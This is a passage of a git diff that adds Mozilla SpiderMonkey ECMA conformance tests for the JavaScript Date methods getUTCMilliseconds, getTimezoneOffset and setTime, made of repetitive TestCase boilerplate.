+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_JAN_1_2005 );
+
+test();
+
+function addTestCase( t ) {
+ new TestCase( SECTION,
+ "(new Date("+t+")).getUTCMilliseconds()",
+ msFromTime(t),
+ (new Date(t)).getUTCMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.21-8.js b/js/src/tests/ecma/Date/15.9.5.21-8.js
new file mode 100644
index 000000000..6f5218c49
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.21-8.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.21.js
+ ECMA Section: 15.9.5.21
+ Description: Date.prototype.getUTCMilliseconds
+
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return msFromTime(t).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.21";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getUTCMilliseconds()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getUTCMilliseconds()",
+ NaN,
+ (new Date(NaN)).getUTCMilliseconds() );
+
+new TestCase( SECTION,
+ "Date.prototype.getUTCMilliseconds.length",
+ 0,
+ Date.prototype.getUTCMilliseconds.length );
+test();
+
diff --git a/js/src/tests/ecma/Date/15.9.5.22-1.js b/js/src/tests/ecma/Date/15.9.5.22-1.js
new file mode 100644
index 000000000..6286efcb6
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.22-1.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.22.js
+ ECMA Section: 15.9.5.22
+ Description: Date.prototype.getTimezoneOffset
+
+ Returns the difference between local time and UTC time in minutes.
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return (t - LocalTime(t)) / msPerMinute.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.22";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTimezoneOffset()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_0000 );
+addTestCase( TIME_1970 );
+addTestCase( TIME_1900 );
+addTestCase( TIME_2000 );
+addTestCase( UTC_FEB_29_2000 );
+addTestCase( UTC_JAN_1_2005 );
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getTimezoneOffset()",
+ NaN,
+ (new Date(NaN)).getTimezoneOffset() );
+
+new TestCase( SECTION,
+ "Date.prototype.getTimezoneOffset.length",
+ 0,
+ Date.prototype.getTimezoneOffset.length );
+
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 1000; m+=100 ) {
+ t++;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getTimezoneOffset()",
+ (t - LocalTime(t)) / msPerMinute,
+ (new Date(t)).getTimezoneOffset() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.22-2.js b/js/src/tests/ecma/Date/15.9.5.22-2.js
new file mode 100644
index 000000000..92fbc6fc6
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.22-2.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.22.js
+ ECMA Section: 15.9.5.22
+ Description: Date.prototype.getTimezoneOffset
+
+ Returns the difference between local time and UTC time in minutes.
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return (t - LocalTime(t)) / msPerMinute.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.22";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTimezoneOffset()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_0000 );
+
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 1000; m+=100 ) {
+ t++;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getTimezoneOffset()",
+ (t - LocalTime(t)) / msPerMinute,
+ (new Date(t)).getTimezoneOffset() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.22-3.js b/js/src/tests/ecma/Date/15.9.5.22-3.js
new file mode 100644
index 000000000..f56b01788
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.22-3.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.22.js
+ ECMA Section: 15.9.5.22
+ Description: Date.prototype.getTimezoneOffset
+
+ Returns the difference between local time and UTC time in minutes.
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return (t - LocalTime(t)) / msPerMinute.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.22";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTimezoneOffset()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1970 );
+
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 1000; m+=100 ) {
+ t++;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getTimezoneOffset()",
+ (t - LocalTime(t)) / msPerMinute,
+ (new Date(t)).getTimezoneOffset() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.22-4.js b/js/src/tests/ecma/Date/15.9.5.22-4.js
new file mode 100644
index 000000000..dba2ade9f
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.22-4.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.22.js
+ ECMA Section: 15.9.5.22
+ Description: Date.prototype.getTimezoneOffset
+
+ Returns the difference between local time and UTC time in minutes.
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return (t - LocalTime(t)) / msPerMinute.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.22";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTimezoneOffset()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_1900 );
+
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 1000; m+=100 ) {
+ t++;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getTimezoneOffset()",
+ (t - LocalTime(t)) / msPerMinute,
+ (new Date(t)).getTimezoneOffset() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.22-5.js b/js/src/tests/ecma/Date/15.9.5.22-5.js
new file mode 100644
index 000000000..5b087fef8
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.22-5.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.22.js
+ ECMA Section: 15.9.5.22
+ Description: Date.prototype.getTimezoneOffset
+
+ Returns the difference between local time and UTC time in minutes.
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return (t - LocalTime(t)) / msPerMinute.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.22";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTimezoneOffset()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( TIME_2000 );
+
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 1000; m+=100 ) {
+ t++;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getTimezoneOffset()",
+ (t - LocalTime(t)) / msPerMinute,
+ (new Date(t)).getTimezoneOffset() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.22-6.js b/js/src/tests/ecma/Date/15.9.5.22-6.js
new file mode 100644
index 000000000..65cd5808c
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.22-6.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.22.js
+ ECMA Section: 15.9.5.22
+ Description: Date.prototype.getTimezoneOffset
+
+ Returns the difference between local time and UTC time in minutes.
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return (t - LocalTime(t)) / msPerMinute.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.22";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTimezoneOffset()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_FEB_29_2000 );
+
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 1000; m+=100 ) {
+ t++;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getTimezoneOffset()",
+ (t - LocalTime(t)) / msPerMinute,
+ (new Date(t)).getTimezoneOffset() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.22-7.js b/js/src/tests/ecma/Date/15.9.5.22-7.js
new file mode 100644
index 000000000..e2c5dcd97
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.22-7.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.22.js
+ ECMA Section: 15.9.5.22
+ Description: Date.prototype.getTimezoneOffset
+
+ Returns the difference between local time and UTC time in minutes.
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return (t - LocalTime(t)) / msPerMinute.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.22";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTimezoneOffset()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+addTestCase( UTC_JAN_1_2005 );
+
+test();
+
+function addTestCase( t ) {
+ for ( m = 0; m <= 1000; m+=100 ) {
+ t++;
+ new TestCase( SECTION,
+ "(new Date("+t+")).getTimezoneOffset()",
+ (t - LocalTime(t)) / msPerMinute,
+ (new Date(t)).getTimezoneOffset() );
+ }
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.22-8.js b/js/src/tests/ecma/Date/15.9.5.22-8.js
new file mode 100644
index 000000000..d12feca52
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.22-8.js
@@ -0,0 +1,38 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.22.js
+ ECMA Section: 15.9.5.22
+ Description: Date.prototype.getTimezoneOffset
+
+ Returns the difference between local time and UTC time in minutes.
+ 1. Let t be this time value.
+ 2. If t is NaN, return NaN.
+ 3. Return (t - LocalTime(t)) / msPerMinute.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.9.5.22";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.getTimezoneOffset()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "(new Date(NaN)).getTimezoneOffset()",
+ NaN,
+ (new Date(NaN)).getTimezoneOffset() );
+
+new TestCase( SECTION,
+ "Date.prototype.getTimezoneOffset.length",
+ 0,
+ Date.prototype.getTimezoneOffset.length );
+test();
+
diff --git a/js/src/tests/ecma/Date/15.9.5.23-1.js b/js/src/tests/ecma/Date/15.9.5.23-1.js
new file mode 100644
index 000000000..b9922f7fb
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-1.js
@@ -0,0 +1,105 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( 0, 0 );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.23-10.js b/js/src/tests/ecma/Date/15.9.5.23-10.js
new file mode 100644
index 000000000..3a44b25f5
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-10.js
@@ -0,0 +1,105 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, -2208988800000 );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.5.23-11.js b/js/src/tests/ecma/Date/15.9.5.23-11.js
new file mode 100644
index 000000000..b3e73eef2
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-11.js
@@ -0,0 +1,106 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, -86400000 );
+
+test();
+
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+ return (d);
+}
+
+
diff --git a/js/src/tests/ecma/Date/15.9.5.23-12.js b/js/src/tests/ecma/Date/15.9.5.23-12.js
new file mode 100644
index 000000000..9bfcc39f3
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.23-12.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.23-1.js
+ ECMA Section: 15.9.5.23 Date.prototype.setTime(time)
+ Description:
+
+ 1. If the this value is not a Date object, generate a runtime error.
+ 2. Call ToNumber(time).
+ 3. Call TimeClip(Result(1)).
+ 4. Set the [[Value]] property of the this value to Result(2).
+ 5. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.9.5.23-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Date.prototype.setTime()";
+
+writeHeaderToLog( SECTION + " Date.prototype.setTime(time)");
+
+var now = "now";
+addTestCase( now, 946684800000 );
+
+test();
+
+function addTestCase( startTime, setTime ) {
+ if ( startTime == "now" ) {
+ DateCase = new Date();
+ } else {
+ DateCase = new Date( startTime );
+ }
+
+ DateCase.setTime( setTime );
+ var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ;
+ var UTCDate = UTCDateFromTime ( Number(setTime) );
+ var LocalDate = LocalDateFromTime( Number(setTime) );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
